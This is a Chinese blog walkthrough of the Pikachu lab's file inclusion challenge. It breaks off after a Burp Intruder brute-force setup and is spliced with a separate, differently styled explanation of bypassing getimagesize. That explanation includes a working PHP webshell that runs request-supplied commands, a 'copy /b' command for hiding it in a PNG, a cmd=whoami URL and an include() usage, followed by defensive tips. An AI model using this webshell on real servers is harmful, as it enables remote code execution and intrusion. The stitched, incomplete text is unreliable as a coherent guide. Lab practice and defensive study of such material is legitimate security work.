pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)

目录

一、来自官方的简介

二、来自小可爱的通关步骤

第一关  File Inclusion(local)

1、读取“隐藏”文件

2、读取系统文件

3、结合文件上传getshell

第二关  File Inclusion(remote)

1、直接包含木马

2、包含写木马的文件


先安利一下自己之前写过的DVWA通关--文件包含(File Inclusion)

在DVWA通关中写过的一些注意点可能在本篇中就不会再赘述了,所以如果不是针对pikachu的文件包含漏洞通关,可以再看一下这篇DVWA的文件包含漏洞通关,写的比本篇pikachu的更全更细更费心。

一、来自官方的简介

pikachu中文件包含漏洞的概述如下

那么在下文中,File Inclusion(local)关卡会尝试读取系统敏感信息,并结合文件上传漏洞包含图片马,获取webshell;File Inclusion(remote)关卡会尝试直接包含木马,以及包含写入木马的文件。

在开始之前必须知道的一点是,php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析。

二、来自小可爱的通关步骤

第一关  File Inclusion(local)

-------的地方是个下拉框,可以选NBA球星,比如选了Allen Iverson之后,页面是下图这样,url是http://192.168.101.16/pikachu/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4

可见其中包含了一个文件file2.php,很可能是文件包含,并且既然是通过URL参数从前端传到后端的,那就是用户可以控制的了,如果再没有严格的过滤,就很可能有文件包含漏洞呢。(~ ̄▽ ̄)~

1、读取“隐藏”文件

首先,由于观察到上图的filename是file2.php,猜测这里其他文件名可能也是个filex.php(x是数字)的格式。

把5个NBA球星都选一遍,发现文件名确实是file1.php~file5.php。

那有没有可能这套文件里面就有废弃或者隐藏的文件咧?

把burpsuite请出来爆破一下:

把下图这个请求报文send to intruder

然后像下面这样设置一下:

爆破位置设置为文件名中的数字,payload设置为Numbers,从6到100,步长为1,点start attack开始爆破

Pikachu 靶场中,`getimagesize` 函数的使用是文件上传漏洞的一个关键点,其目的是通过验证文件是否为合法的图像文件来防止恶意文件上传。然而,攻击者可以通过构造带有文件幻数的图片木马绕过这一验证机制,从而实现恶意文件的上传和执行。 `getimagesize` 函数通过检查文件头部的幻数(Magic Number)来判断文件是否为合法的图像文件。例如,PNG 文件的幻数是 `89504E47`,JPEG 文件的幻数是 `FFD8FF`。由于该函数仅检查文件头部的幻数和扩展名,攻击者可以将恶意代码(如 PHP 木马)嵌入到图像文件的尾部,从而绕过验证机制[^3]。 ### 利用方法 1. **构造图片木马** 使用工具(如 `copy` 命令)将 PHP 木马代码嵌入到正常图像文件的末尾。例如,在 Windows 环境下,可以使用以下命令将 `shell.php` 和 `image.png` 合并成一个新的文件 `malicious.png`: ```bash copy /b image.png + shell.php malicious.png ``` 其中,`shell.php` 的内容如下: ```php <?php if (isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system($cmd); } ?> ``` 2. **上传图片木马** 在 Pikachu 靶场的文件上传功能中,尝试上传构造好的 `malicious.png` 文件。由于 `getimagesize` 会检测到文件头部的 PNG 幻数,因此该文件会被认为是一个合法的图像文件,从而绕过验证机制[^2]。 3. **获取 Web Shell** 成功上传后,访问上传路径并执行 `malicious.png` 文件。此时,攻击者可以通过 URL 参数传递命令,例如: ``` http://pikachu/upload/malicious.png?cmd=whoami ``` 这将执行 `whoami` 命令,并返回服务器的当前用户信息。 4. **结合文件包含漏洞** 如果目标系统存在文件包含漏洞,可以将上传的图片木马作为参数传递给 `include()` 或 `require()` 函数。例如: ```php include 'malicious.png'; ``` 通过这种方式,攻击者可以远程包含并执行上传的木马文件,从而实现远程代码执行(RCE)[^1]。 ### 防御措施 - **采用白名单验证文件类型** 严格限制上传文件的类型,仅允许特定的图像格式(如 JPEG、PNG)。 - **验证文件的后缀名和 MIME 类型** 不仅检查文件的扩展名,还需通过 `getimagesize` 或其他方式验证文件的真实类型。 - **对文件进行重命名** 上传后对文件进行随机重命名,避免攻击者通过已知文件名直接访问木马文件。 - **限制文件大小** 设置上传文件的最大大小,防止上传过大的恶意文件。 - **进行二次渲染** 对上传的图像文件进行二次渲染,清除可能嵌入的恶意代码。 - **不要暴露上传路径** 避免直接暴露上传文件的路径,防止攻击者直接访问上传的文件。 --- ###
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值